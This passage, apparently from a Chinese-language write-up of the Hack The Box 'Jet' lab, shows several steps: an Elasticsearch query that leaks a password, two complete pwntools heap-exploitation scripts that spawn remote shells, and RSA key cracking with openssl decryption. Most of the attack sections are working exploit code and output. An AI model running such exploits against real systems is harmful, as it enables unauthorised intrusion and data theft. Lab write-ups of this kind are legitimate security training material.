.addTransportAddress(new TransportAddress(new InetSocketAddress("10.13.37.10", 9999)));
System.out.println(client.toString());
ClusterHealthResponse healths = client.admin().cluster().prepareHealth().get();
for (ClusterIndexHealth health : healths.getIndices().values()) {
String index = health.getIndex();
System.out.println(index);
}
SearchResponse searchResponse = client.prepareSearch("test").execute().actionGet();
SearchHit[] results = searchResponse.getHits().getHits();
for(SearchHit hit : results){
String sourceAsString = hit.getSourceAsString();
System.out.println(sourceAsString);
}
client.close();
}
}
运行此程序，得到以下信息
{
"timestamp": "2017-11-13 08:31",
"subject": "Just a heads up Rob",
"category": "admin",
"draft": "no",
"body": "Hey Rob - just so you know, that information you wanted has beensent."
}
{
"timestamp": "2017-11-10 07:00",
"subject": "Maintenance",
"category": "maintenance",
"draft": "no",
"body": "Performance to our API has been reduced for a period of 3 hours. Services have been distributed across numerous suppliers, in order to reduce any future potential impact of another outage, as experienced yesterday"
}
{
"timestamp": "2017-11-13 08:30",
"subject": "Details for upgrades to EU-API-7",
"category": "admin",
"draft": "yes",
"body": "Hey Rob, you asked for the password to the EU-API-7 instance. You didn not want me to send it on Slack, so I am putting it in here as a draft document. Delete this once you have copied the message, and don _NOT_ tell _ANYONE_. We need a better way of sharing secrets. The password is purpl3un1c0rn_1969. -Jason JET{3sc4p3_s3qu3nc3s_4r3_fun}"
}
{
"timestamp": "2017-11-13 13:32",
"subject": "Upgrades complete",
"category": "Maintenance",
"draft": "no",
"body": "All upgrades are complete, and normal service resumed"
}
{
"timestamp": "2017-11-09 15:13",
"subject": "Server outage",
"category": "outage",
"draft": "no",
"body": "Due to an outage in one of our suppliers, services were unavailable for approximately 8 hours. This has now been resolved, and normal service resumed"
}
{
"timestamp": "2017-11-13 13:40",
"subject": "Thanks Jazz",
"category": "admin",
"draft": "no",
"body": "Thanks dude - all done. You can delete our little secret. Kind regards, Rob"
}
{
"timestamp": "2017-11-13 08:27",
"subject": "Upgrades",
"category": "maintenance",
"draft": "no",
"body": "An unscheduled maintenance period will occur at 12:00 today for approximately 1 hour. During this period, response times will be reduced while services have critical patches applied to them across all suppliers and instances"
}
Flag
JET{3sc4p3_s3qu3nc3s_4r3_fun}
Member Manager
在上文得到的压缩包中，有两个文件
Mode LastWriteTime Length Name
---- ------------- ------ ----
----- 2017/12/27 22:21 10224 membermanager
----- 2017/12/27 22:22 13304 memo
逆向分析之后，编写脚本进行攻击
#!/usr/bin/python3
from pwn import remote, p64, p16
shell = remote("10.13.37.10", 5555)
def add(size, data):
shell.sendlineafter(b"6. exit", b"1")
shell.sendlineafter(b"size:", str(size).encode())
shell.sendlineafter(b"username:", data)
def edit(idx, mode, data):
shell.sendline(b"2")
shell.sendlineafter(b"2. insecure edit", str(mode).encode())
shell.sendlineafter(b"index:", str(idx).encode())
shell.sendlineafter(b"username:", data)
shell.recvuntil(b"6. exit")
def ban(idx):
shell.sendline(b"3")
shell.sendlineafter(b"index:", str(idx).encode())
shell.recvuntil(b"6. exit")
def change(data):
shell.sendline(b"4")
shell.sendlineafter(b"name:", data)
shell.recvuntil(b"6. exit")
shell.sendlineafter(b"name:", b"A" * 8)
add(0x88, b"A" * 0x88)
add(0x100, b"A" * 8)
payload = b"A" * 0x160
payload += p64(0)
payload += p64(0x21)
add(0x500, payload)
add(0x88, b"A" * 8)
shell.recv()
ban(2)
payload = b""
payload += b"A" * 0x88
payload += p16(0x281)
edit(0, 2, payload)
shell.recv()
shell.sendline(b"5")
shell.recvline()
leak_read = int(shell.recvline()[:-1], 10)
libc_base = leak_read - 0xf7250
payload = b""
payload += p64(0) * 3
payload += p64(libc_base + 0x45390)
change(payload)
payload = b""
payload += b"A" * 256
payload += b"/bin/sh\x00"
payload += p64(0x61)
payload += p64(0)
payload += p64(libc_base + 0x3c5520 - 0x10)
payload += p64(2)
payload += p64(3)
payload += p64(0) * 21
payload += p64(0x6020a0)
edit(1, 1, payload)
shell.sendline(b"1")
shell.sendlineafter(b"size:", str(0x80).encode())
shell.recvuntil(b"[vsyscall]")
shell.recvline()
shell.interactive()
得到 flag.txt 文件的数据
JET{h34p_f0r_73h_b4bi3z}
__----~~~~~~~~~~~------___
. . ~~//====...... __--~ ~~
-. \_|// |||\\ ~~~~~~::::... /~
___-==_ _-~o~ \/ ||| \\ _/~~-
__---~~~.==~||\=_ -_--~/_-~|- |\\ \\ _/~
_-~~ .=~ | \\-_ '-~7 /- / || \ /
.~ .~ | \\ -_ / /- / || \ /
/ ____ / | \\ ~-_/ /|- _/ .|| \ /
|~~ ~~|--~~~~--_ \ ~==-/ | \~--===~~ .\
' ~-| /| |-~\~~ __--~~
|-~~-_/ | | ~\_ _-~ /\
/ \ \__ \/~ \__
_--~ _/ | .-~~____--~-/ ~~==.
((->/~ '.|||' -_| ~~-/ , . _||
-_ ~\ ~~---l__i__i__i--~~_/
_-~-__ ~) \--______________--~~
//.-~~~-~_--~- |-------~~~~~~~~
//.-~~~--\
Flag
JET{h34p_f0r_73h_b4bi3z}
More Secrets
在 /home/tony 目录中，有以下文件
(remote) www-data@jet:/home/tony$ ls -lah
total 40K
drwxr-xr-x 3 tony tony 4.0K Dec 28 2017 .
drwxr-xr-x 8 root root 4.0K Apr 1 2018 ..
-rw-r--r-- 1 tony tony 223 Dec 28 2017 .bash_history
-rw-r--r-- 1 tony tony 220 Dec 28 2017 .bash_logout
-rw-r--r-- 1 tony tony 3.7K Dec 28 2017 .bashrc
-rw-r--r-- 1 tony tony 655 Dec 28 2017 .profile
-rw-r--r-- 1 root root 129 Dec 28 2017 key.bin.enc
drwxr-xr-x 2 root root 4.0K Dec 28 2017 keys
-rw-r--r-- 1 root root 4.7K Dec 28 2017 secret.enc
将密钥文件以及加密后的文件都下载到本地
(local) pwncat$ download secret.enc
secret.enc ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 4.8/4.8 KB • ? • 0:00:00
[21:25:37] downloaded 4.77KiB in 2.35 seconds download.py:71
(local) pwncat$ download key.bin.enc
key.bin.enc ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 129/129 bytes • ? • 0:00:00
[21:25:44] downloaded 129.00B in 1.43 seconds
(local) pwncat$ download ./keys/public.crt
./keys/public.crt ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 451/451 bytes • ? • 0:00:00
[21:28:49] downloaded 451.00B in 1.65 seconds
然后使用 Github - RsaCtfTool/RsaCtfTool 进行破解
(env) ┌─[✗]─[randark@parrot]─[~]
└──╼ $ python3 ./tools/RsaCtfTool/RsaCtfTool.py --publickey public.crt --private
['public.crt']
[*] Testing key public.crt.
attack initialized...
attack initialized...
[*] Performing factordb attack on public.crt.
[*] Attack success with factordb method !
Results for public.crt:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIICOQIBAAKBgQGN24SSfsyl/rFafZuCr54aBqEpk9fJDFa78Qnk177LTPwWgJPd
gY6ZZC9w7LWuy9+fSFfDnF4PI3DRPDpvvqmBjQh7jykg7N4FUC5dkqx4gBw+dfDf
ytHR1LeesYfJI6KF7s0FQhYOioCVyYGmNQoplt34bxbXgVvJZUMfBFC6LQKBgQCk
zWwClLUdx08Ezef0+356nNLVml7eZvTJkKjl2M6sE8sHiedfyQ4Hvro2yfkrMObc
EZHPnIba0wZ/8+cgzNxpNmtkG/CvNrZY81iw2lpm81KVmMIG0oEHy9V8RviVOGRW
i2CItuiV3AUIjKXT/TjdqXcW/n4fJ+8YuAMLUCV4ewIgSJiewFB8qwlK2nqa7taz
d6DQtCKbEwXMl4BUeiJVRkcCQQEIH6FjRIVKckAWdknyGOzk3uO0fTEH9+097y0B
A5OBHosBfo0agYxd5M06M4sNzodxqnRtfgd7R8C0dsrnBhtrAkEBgZ7n+h78BMxC
h6yTdJ5rMTFv3a7/hGGcpCucYiadTIxfIR0R1ey8/Oqe4HgwWz9YKZ1re02bL9fn
cIKouKi+xwIgSJiewFB8qwlK2nqa7tazd6DQtCKbEwXMl4BUeiJVRkcCIEiYnsBQ
fKsJStp6mu7Ws3eg0LQimxMFzJeAVHoiVUZHAkA3pS0IKm+cCT6r0fObMnPKoxur
bzwDyPPczkvzOAyTGsGUfeHhseLHZKVAvqzLbrEdTFo906cZWpLJAIEt8SD9
-----END RSA PRIVATE KEY-----
将破解出来的私钥保存为 `` 文件，然后执行解密
(env) ┌─[✗]─[randark@parrot]─[~]
└──╼ $ openssl pkeyutl -decrypt -inkey private.crt -in key.bin.enc -out file
(env) ┌─[randark@parrot]─[~]
└──╼ $ openssl aes-256-cbc -d -in secret.enc -pass file:file
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
▄▄▄██▀▀▀▓█████▄▄▄█████▓ ▄████▄ ▒█████ ███▄ ▄███▓
▒██ ▓█ ▀▓ ██▒ ▓▒ ▒██▀ ▀█ ▒██▒ ██▒▓██▒▀█▀ ██▒ Congratulations!!
░██ ▒███ ▒ ▓██░ ▒░ ▒▓█ ▄ ▒██░ ██▒▓██ ▓██░
▓██▄██▓ ▒▓█ ▄░ ▓██▓ ░ ▒▓▓▄ ▄██▒▒██ ██░▒██ ▒██ Jet: https://jet.com/careers
▓███▒ ░▒████▒ ▒██▒ ░ ██▓ ▒ ▓███▀ ░░ ████▓▒░▒██▒ ░██▒ HTB: https://www.hackthebox.eu
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▒ ░▒░ ░ ░ ░ ░ ░▒ ░ ▒ ░ ▒ ▒░ ░ ░ ░ JET{n3xt_t1m3_p1ck_65537}
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Props to: ██░ ██ ▄▄▄ ▄████▄ ██ ▄█▀▄▄▄█████▓ ██░ ██ ▓█████ ▄▄▄▄ ▒█████ ▒██ ██▒ ▓█████ █ ██
▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓ ██▒ ▓▒▓██░ ██▒▓█ ▀ ▓█████▄ ▒██▒ ██▒▒▒ █ █ ▒░ ▓█ ▀ ██ ▓██▒
blink (jet) ▒██▀▀██░▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒ ▓██░ ▒░▒██▀▀██░▒███ ▒██▒ ▄██▒██░ ██▒░░ █ ░ ▒███ ▓██ ▒██░
g0blin (htb) ░▓█ ░██ ░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ░ ▓██▓ ░ ░▓█ ░██ ▒▓█ ▄ ▒██░█▀ ▒██ ██░ ░ █ █ ▒ ▒▓█ ▄ ▓▓█ ░██░
forGP (htb) ░▓█▒░██▓ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄ ▒██▒ ░ ░▓█▒░██▓░▒████▒░▓█ ▀█▓░ ████▓▒░▒██▒ ▒██▒ ██▓ ░▒████▒▒▒█████▓
ch4p (htb) ▒ ░░▒░▒ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒ ▒ ░░ ▒ ░░▒░▒░░ ▒░ ░░▒▓███▀▒░ ▒░▒░▒░ ▒▒ ░ ░▓ ░ ▒▓▒ ░░ ▒░ ░░▒▓▒ ▒ ▒
xero (0x00sec) ▒ ░▒░ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ▒ ░▒░ ░ ░ ░ ░▒░▒ ░ ░ ▒ ▒░ ░░ ░▒ ░ ░▒ ░ ░ ░░░▒░ ░ ░
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Flag
JET{n3xt_t1m3_p1ck_65537}
Memo
同样使用脚本进行二进制攻击
#!/usr/bin/python3
from pwn import remote, p64, u64
shell = remote("10.13.37.10", 7777)
def create_memo(data, answer, more):
shell.sendlineafter(b">", b"1")
shell.sendlineafter(b"Data:", data)
if answer[:3] == "yes":
shell.sendafter(b"[yes/no]", answer.encode())
else:
shell.sendafter(b"[yes/no]", answer)
shell.sendafter(b"Data:", more)
def show_memo():
shell.sendlineafter(b">", b"2")
shell.recvuntil(b"Data:")
def delete_memo():
shell.sendlineafter(b">", b"3")
def tap_out(answer):
shell.sendlineafter(b">", b"4")
shell.sendafter(b"[yes/no]", answer)
create_memo(b"A" * 0x1f, b"no", b"A" * 0x1f)
show_memo()
shell.recv(0x20)
stack_chunk = u64(shell.recv(6) + b"\x00" * 2) - 0x110
delete_memo()
create_memo(b"A" * 0x28, b"no", b"A" * 0x28)
show_memo()
shell.recvuntil(b"A" * 0x28)
shell.recv(1)
canary = u64(b"\x00" + shell.recv(7))
create_memo(b"A" * 0x18, b"no", b"A" * 0x18)
create_memo(b"A" * 0x18, b"no", b"A" * 0x17)
show_memo()
shell.recvuntil(b"A" * 0x18)
shell.recv(1)
heap = u64(b"\x00" + shell.recv(3).ljust(7, b"\x00"))
create_memo(b"A" * 0x18, b"no", b"A" * 0x8 + p64(0x91) + b"A" * 0x8)
create_memo(b"A" * 0x7 + b"\x00", b"no", b"A" * 0x8)
create_memo(b"A" * 0x7 + b"\x00", b"no", b"A" * 0x8)
create_memo(b"A" * 0x7 + b"\x00", b"no", b"A" * 0x8)
create_memo(b"A" * 0x7 + b"\x00", b"no", b"A" * 0x8 + p64(0x31))
create_memo(b"A" * 0x7 + b"\x00", b"no", b"A" * 0x8)
tap_out(b"no\x00" + b"A" * 21 + p64(heap + 0xe0))
delete_memo()
tap_out(b"no\x00" + b"A" * 21 + p64(heap + 0xc0))
delete_memo()
show_memo()
leak = u64(shell.recv(6).ljust(8, b"\x00"))
libc = leak - 0x3c4b78
create_memo(b"A" * 0x28, b"no", b"A" * 0x10 + p64(0x0) + p64(0x21) + p64(stack_chunk))
create_memo(p64(leak) * (0x28 // 8), b"no", b"A" * 0x28)
create_memo(b"A" * 0x8 + p64(0x21) + p64(stack_chunk + 0x18) + b"A" * 0x8 + p64(0x21), "yes", b"")
create_memo(b"A" * 0x8, b"no", p64(canary) + b"A" * 0x8 + p64(libc + 0x45216))
tap_out(b"yes\x00")
shell.recvline()
shell.interactive()
得到
$ cat flag.txt
Congrats! JET{7h47s_7h3_sp1r17}
.\
.\ / _\ .\
/_ \ || / _\
|| || ||
; , \`.__||__.'/
|\ /( ;\_.; `./| __.'
'`. _|_\/_;-'_ .' '||
\ _/` `.-\_ / || _
, _ _`; ,--. ,--. ;'_ _|, |
'`''\| / ,-\ | _,-\ |/''`' _ |
\ .-- \__\_/ /` )_/ --. / | | _
/ . -'. \ --|--|--. .' \
| / \ | | | \ |---'
. . -'`-..____...-' `- . | | |\ _
.'`'.__ `._ `-..-''_.'| | | _ | `-' _
\ .--.`. `-..__ _,..-' L| | | |
' \ \ _,| |,_ /_7) | | _ _ | _
\ \ / \ _.-'/|| | .' \ _| | |
\ \ /.'| |`.__.'` || .--| |--- _ /| | |
\ `//_/ \ || / | \ _ \ / | | |
`/ \| | || | | `-'\/ |'--| _
`"`'. _ .'|| `--'| | .--/
\ | / || '--'
|'| mx'J made me do it! ;)
.-.|||.-.
'----"----'
Flag
JET{7h47s_7h3_sp1r17}